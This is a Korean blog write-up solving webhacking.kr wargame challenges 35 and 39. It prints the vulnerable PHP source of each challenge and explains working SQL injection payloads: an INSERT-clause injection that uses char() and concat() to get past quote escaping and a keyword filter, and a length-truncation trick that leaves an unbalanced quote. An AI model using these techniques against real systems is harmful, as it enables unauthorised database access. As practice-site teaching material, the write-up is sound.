webhacking/sql, sql injection

webhacking.kr 35, 39

qkqhxla1 2015. 3. 13. 18:33

<?
if($_GET[phone])
{
if(
eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack");

@
mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
echo(
"Done<br>");
}

$admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'"));

if(
$admin_ck[ip]==$_SERVER[REMOTE_ADDR])
{
@
solve();
@
mysql_query("delete from challenge35_list");
}
$phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'");

echo(
"<!--");

while(
$d=@mysql_fetch_array($phone_list))
{
echo(
"$d[id] - $d[phone]\n");
}

echo(
"-->");

?>


위의 진하게 표시해놓은 부분에서 $_GET[phone]로 입력을 함으로서 인젝션이 가능하다는걸 알 수 있다.


123), ('admin','xxx.xxx.xxx.xxx',456 처럼 입력하면 될 것 같다. 하지만 webhacking.kr의 


magic_quotes_gpc 옵션은 기본적으로 on이라고 생각하면 된다. 이 말뜻은 '를 입력하면 \'로 변환된다는


뜻이므로 '를 쓰지 않고 인젝션해야한다.


1234),(concat(char(97),char(100),char(109),char(105),char(110)),concat(본인 아이피를 char로.),1234 


처럼 mysql의 char함수로 문자를 만들어주고 concat함수로 해당 문자들을 연결해준다. 이건 위의 


123), ('admin','xxx.xxx.xxx.xxx',456 과 동일한 효과를 낸다. 아이피 주소 부분을 본인의 아이피로


바꿔주면 통과한다.



39.


<?

$pw
="????";

if(
$_POST[id])
{
$_POST[id]=str_replace("\\","",$_POST[id]);
$_POST[id]=str_replace("'","''",$_POST[id]);
$_POST[id]=substr($_POST[id],0,15);
$q=mysql_fetch_array(mysql_query("select 'good' from zmail_member where id='$_POST[id]"));

if(
$q[0]=="good") @solve();

}

?>


이다. 자세히 살펴보면 진하게 표시해놓은 부분에 '가 안 닫혀있다. 그런데 $_POST[id]는 내가 입력한


값일것이다.(입력 폼도 있고 하니..) 위에 어떻게 변환되는지 살펴보면 \를 지우고, '를 ''로 바꾼다.


그 후에 세번째 필터링에서는 0,15사이의 값을 가져오게된다. 


폼의 크기는  <input type=text name=id maxlength=15 size=30> 이며 15까지 입력이 되는데,


내가 만약 admin           ' 처럼 입력을 하게 되면 맨 끝의 '가 ''로 변환되어도 0~15까지만 가져오게 되어


admin           '만을 가져오게된다. admin             '을 입력하면 통과한다.

'webhacking > sql, sql injection' 카테고리의 다른 글

webhacking.kr 45, 46  (0) 2015.03.14
webhacking.kr 40  (0) 2015.03.13
adm1nkyj님 워게임 prob 3  (0) 2015.03.03
Lord Of SQLinjection rubiya  (0) 2015.02.22
sql Injection in Insert, Update and Delete clause(error based)  (0) 2015.02.21